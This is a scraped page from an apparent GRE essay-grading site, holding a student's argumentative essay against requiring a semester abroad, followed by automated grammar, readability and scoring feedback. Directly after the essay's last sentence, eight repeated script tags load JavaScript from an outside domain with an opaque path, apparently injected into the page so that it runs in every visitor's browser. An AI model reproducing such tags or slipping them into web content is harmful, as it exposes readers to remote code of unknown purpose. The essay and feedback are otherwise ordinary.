GRE Issue: Colleges and universities should require their students to spend at least one semester studying in a foreign country.
Write a response in which you discuss the extent to which you agree or disagree with the recommendation and explain your reasoning for the position you take. In developing and supporting your position, describe specific circumstances in which adopting the recommendation would or would not be advantageous and explain how these examples shape your position.
In order to become a well-rounded educated person, it is understandable that colleges and universities are persuaded to require their students to spend at least one semester studying in a foreign country. Learning about different perspectives of people from origins other than the students’ contributes to a more comprehensive view of the world for the students. Being receptive is considered as a good trait, one of the most important soft skills. Clearly, the speaker of this assertion believes that studying overseas for a semester is a good way to achieve that. However, while admitting there are some benefits of the recommendation, I disagree with the conception that a semester abroad should be a requirement for any degree.
To begin with, financial supports for every student going studying abroad are not simple at all for either the colleges and universities or the students. First of all, if the institute is a public one, then the majority of its education funding comes from grants of the governments. Government funding is originally from tax payers, which requires the officials to be responsible for carefully spending these funds. Studying abroad for a semester is only part of building up the soft skills for the students, not the rudimentary skills needed after graduation when they apply for jobs. Huge amount of the money spent on that could've been used to provide more scholarships or financial aids for students in need. Some people may say that students also pay their tuition. But students in the United States are usually attending in-state universities and colleges, which means the tuition they need to pay has already been financially supported a lot, generally one third of out-of-state students. But the number of out-of-state students is much less than the in-state one.
Secondly, despite from reduced tuition, students with special needs would face incredibly difficulties during their time oversea. For example, students with a pacemaker, or other significant medical conditions that require them to visit the doctor's office every month or even every week would not find an as-efficient medical routine in a foreign country. It is also not advantageous creating a new one just for a semester, for the hustles they need to do.
Additionally, for students who have never been to overseas, it would naturally be a hard time for them to adapt themselves to a different culture, language and customs. Settling down in an apartment, getting local bank accounts and establishing new connections with local students are all hard stuff to do for any people. Other people may say that it is the process that would help students to build up soft skills, such as leadership, flexibility, etc., but this semester is still a part in the degree, meaning all the grades the students get are still included in the GPA calculation. Local education in college and universities are not very easy, hardships in another country are likely to decrease the grades they make. Sleeping disorder, stress unrelieved and unable to understand local people’s speaking are all distressing students from focusing on study and maintaining grades. The soft skills they build up overseas can come with a high price in their decreased grades.
Moreover, the speaker assumes that students in colleges and universities are not familiar with another country's culture or other aspects before attending. In reality, a lot of students have already spent summers or even years in another country. A student from a high school in the UK decided to go to college in American University is not uncommon. Then it won’t be necessary for the student to spend any more time in a foreign nation, so they should have the right to waive the requisite.
Lastly, despite all the shortcomings for undergraduate students, one semester in another nation is inherently not applicable to graduate students, because the nature of their time in the colleges and universities is to study in specific areas other than broad ones. Graduate students usually have a focused topic to study, determined before their admissions. Study areas such as majors in science, technology or engineering, graduate students may have to do lab tests. Scientific examinations in the lab usually require routinely checkups, a few times a week or even in a day. Mandatory time oversea for soft skills can detriment this flow of work, unnecessary for the thesis they focus on.
In conclusion, a semester in another nation as a requirement is not practical or reasonable for every student in a college or university. It is not rational for master and doctoral degrees; it can bring disadvantages over benefits for students; and it is not the best to allocate education funds. I suggest that a better way is to make the semester oversea as an option for some credits, where students can choose whether to go based on personalized needs.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| Tue, 06/10/2025 - 06:11 | withIssac | 66 | view |
| Mon, 04/01/2024 - 12:50 | guozhishan | 66 | view |
| Fri, 08/25/2023 - 06:15 | tomlee0205 | 66 | view |
| Fri, 07/21/2023 - 00:53 | PS5 | 83 | view |
| Mon, 09/26/2022 - 18:48 | KnockingOn | 70 | view |
Grammar and spelling errors:
Line 1, column 639, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...re some benefits of the recommendation, I disagree with the conception that a sem...
^
Line 2, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...hould be a requirement for any degree. To begin with, financial supports for ev...
^^^^
Line 3, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ts is much less than the in-state one. Secondly, despite from reduced tuition, ...
^^^^
Line 4, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ster, for the hustles they need to do. Additionally, for students who have neve...
^^^^
Line 4, column 193, Rule ID: APARTMENT-FLAT[1]
Message: This word is common for American English. Did you mean 'flat'?
Suggestion: flat
...nguage and customs. Settling down in an apartment, getting local bank accounts and establ...
^^^^^^^^^
Line 5, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
... high price in their decreased grades. Moreover, the speaker assumes that stude...
^^^^
Line 6, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...have the right to waive the requisite. Lastly, despite all the shortcomings for...
^^^^
Line 7, column 1, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...ecessary for the thesis they focus on. In conclusion, a semester in another nat...
^^^^
Line 7, column 301, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...t the best to allocate education funds. I suggest that a better way is to make th...
^
Transition Words or Phrases used:
also, but, first, however, if, lastly, may, moreover, second, secondly, so, still, then, third, well, while, as for, at least, for example, in conclusion, such as, first of all, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 35.0 19.5258426966 179% => OK
Auxiliary verbs: 16.0 12.4196629213 129% => OK
Conjunction : 25.0 14.8657303371 168% => OK
Relative clauses : 16.0 11.3162921348 141% => OK
Pronoun: 42.0 33.0505617978 127% => Less pronouns wanted
Preposition: 107.0 58.6224719101 183% => OK
Nominalization: 17.0 12.9106741573 132% => OK
Performance on vocabulary words:
No of characters: 4096.0 2235.4752809 183% => OK
No of words: 800.0 442.535393258 181% => Less content wanted.
Chars per words: 5.12 5.05705443957 101% => OK
Fourth root words length: 5.31829589694 4.55969084622 117% => OK
Word Length SD: 2.90197777386 2.79657885939 104% => OK
Unique words: 368.0 215.323595506 171% => OK
Unique words percentage: 0.46 0.4932671777 93% => More unique words wanted or less content wanted.
syllable_count: 1293.3 704.065955056 184% => OK
avg_syllables_per_word: 1.6 1.59117977528 101% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 7.0 6.24550561798 112% => OK
Article: 7.0 4.99550561798 140% => OK
Subordination: 3.0 3.10617977528 97% => OK
Conjunction: 5.0 1.77640449438 281% => Less conjunction wanted as sentence beginning.
Preposition: 6.0 4.38483146067 137% => OK
Performance on sentences:
How many sentences: 34.0 20.2370786517 168% => OK
Sentence length: 23.0 23.0359550562 100% => OK
Sentence length SD: 48.9981286275 60.3974514979 81% => OK
Chars per sentence: 120.470588235 118.986275619 101% => OK
Words per sentence: 23.5294117647 23.4991977007 100% => OK
Discourse Markers: 5.61764705882 5.21951772744 108% => OK
Paragraphs: 7.0 4.97078651685 141% => Less paragraphs wanted.
Language errors: 9.0 7.80617977528 115% => OK
Sentences with positive sentiment : 15.0 10.2758426966 146% => OK
Sentences with negative sentiment : 7.0 5.13820224719 136% => OK
Sentences with neutral sentiment: 12.0 4.83258426966 248% => Less facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.212645562902 0.243740707755 87% => OK
Sentence topic coherence: 0.0635667639187 0.0831039109588 76% => OK
Sentence topic coherence SD: 0.053046519601 0.0758088955206 70% => OK
Paragraph topic coherence: 0.123178248016 0.150359130593 82% => OK
Paragraph topic coherence SD: 0.0495925967245 0.0667264976115 74% => OK
Essay readability:
automated_readability_index: 14.5 14.1392134831 103% => OK
flesch_reading_ease: 48.13 48.8420337079 99% => OK
smog_index: 8.8 7.92365168539 111% => OK
flesch_kincaid_grade: 12.3 12.1743820225 101% => OK
coleman_liau_index: 12.71 12.1639044944 104% => OK
dale_chall_readability_score: 8.51 8.38706741573 101% => OK
difficult_words: 189.0 100.480337079 188% => OK
linsear_write_formula: 11.5 11.8971910112 97% => OK
gunning_fog: 11.2 11.2143820225 100% => OK
text_standard: 12.0 11.7820224719 102% => OK
What are above readability scores?
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Write the essay in 30 minutes.
Maximum six paragraphs wanted.
Rates: 66.67 out of 100
Scores by essay e-grader: 4.0 Out of 6
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.